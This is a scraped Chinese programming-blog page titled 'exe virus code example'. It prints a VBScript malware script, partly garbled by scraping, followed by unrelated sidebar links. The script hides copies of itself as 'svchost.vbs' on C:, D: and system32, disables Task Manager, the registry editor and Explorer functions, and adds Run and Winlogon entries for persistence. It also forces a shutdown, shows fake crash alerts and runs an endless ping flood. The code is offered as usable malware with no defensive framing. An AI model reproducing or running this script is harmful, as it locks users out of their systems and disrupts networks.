当前位置:网站首页>[language programming] exe virus code example
[language programming] exe virus code example
2022-07-07 22:58:00 【For the rest of Kali's life】
Set objFS *** CreateObject(“Scripting.FileSystemObject”)
Set objFSO *** CreateObject(“Scripting.FileSystemObject”)set wsh *** wscript.createobject(“wscript.shell”)set reg *** wscript.createobject(“wscript.shell”)dim wsha *** WScript.ScriptFullNameb *** "shutdown -t 60 -s -cc *** "c:\svchost.vbs"d *** "d:\svchost.vbs"s *** "c:\windows\system32\svchost.vbs"c1 *** "attrib +s +h +a +r c:\svchost.vbs"d1 *** "attrib +s +h +a +r d:\svchost.vbs"s1 *** "attrib +s +h +a +r c:\windows\system32\svchost.vbs"If objFSO.FileExists ThenElseobjFs.GetFile (a).Copy wsh.run c1End IfIf objFSO.FileExists(d) ThenElseobjFs.GetFile (a).Copy (d)wsh.run d1End IfIf objFSO.FileExists(s) ThenElseobjFs.GetFile (a).Copy (s)wsh.run s1End Ifwsh.run bwsh.run “narrator"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroRun”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroClose”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroLogoff”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroDesktop”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroDrives”,“000000100”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost”,“c:\svchost.vbs”,“REG_SZ"reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost”,“d:\svchost.vbs”,“REG_SZ"reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost”,“c:\windows\system32\svchost.vbs”,“REG_SZ"reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost”,“c:\windows\system32\svchost.vbs”,“REG_SZ"reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\sTimeFormat”,“tttt H:mm:ss”,“REG_SZ"reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s1159”,“ Idiot !”,“REG_SZ"reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s2359”,“ Idiot !”,“REG_SZ"reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell”,“c:\windows\system32\svchost.vbs”,"REG_SZ"msgbox “ The system is about to crash !”,48," Because you often read yellow pages :"msgbox “windows collapsed !”,18," Security alert :"dowsh.run (“ping -t -l 6500 192.168.1.1”)loop
边栏推荐
- Redis官方ORM框架比RedisTemplate更优雅
- 行测-图形推理-9-线条问题类
- Revit secondary development - intercept project error / warning pop-up
- C development - interprocess communication - named pipeline
- 不夸张地说,这是我见过最通俗易懂的,pytest入门基础教程
- Sword finger offer 55 - I. depth of binary tree
- PCL .vtk文件与.pcd的相互转换
- DTC社群运营怎么做?
- C # Development -- pit encountered in JS intermodulation
- Take full control! Create a "leading cockpit" for smart city construction
猜你喜欢
Two minutes, talk about some wrong understandings of MySQL index
[problem] pytorch installation
Ni9185 and ni9234 hardware settings in Ni Max
Redis官方ORM框架比RedisTemplate更优雅
Online interview, how to better express yourself? In this way, the passing rate will be increased by 50%~
How to choose the appropriate automated testing tools?
Common verification rules of form components -2 (continuously updating ~)
LeetCode203. Remove linked list elements
Line test - graphic reasoning - 2 - black and white lattice class
行测-图形推理-4-字母类
随机推荐
微生物健康网,如何恢复微生物群落
双非大厂测试员亲述:对测试员来说,学历重要吗?
Take full control! Create a "leading cockpit" for smart city construction
C development - interprocess communication - named pipeline
Details of the open source framework of microservice architecture
[problem] pytorch installation
Personal statement of testers from Shuangfei large factory: is education important for testers?
Transparent i/o model from beginning to end
微服务远程Debug,Nocalhost + Rainbond微服务开发第二弹
What does the model number of asemi rectifier bridge kbpc1510 represent
行测-图形推理-9-线条问题类
0-5vac to 4-20mA AC current isolated transmitter / conversion module
Robot autonomous exploration series papers environment code
Two minutes, talk about some wrong understandings of MySQL index
Knowledge drop - PCB manufacturing process flow
Line test - graphic reasoning - 4 - alphabetic class
行测-图形推理-7-相异图形类
数字化转型:五个步骤推动企业进步
7-51 combination of two ordered linked list sequences
[environment] pycharm sets the tool to convert QRC into py file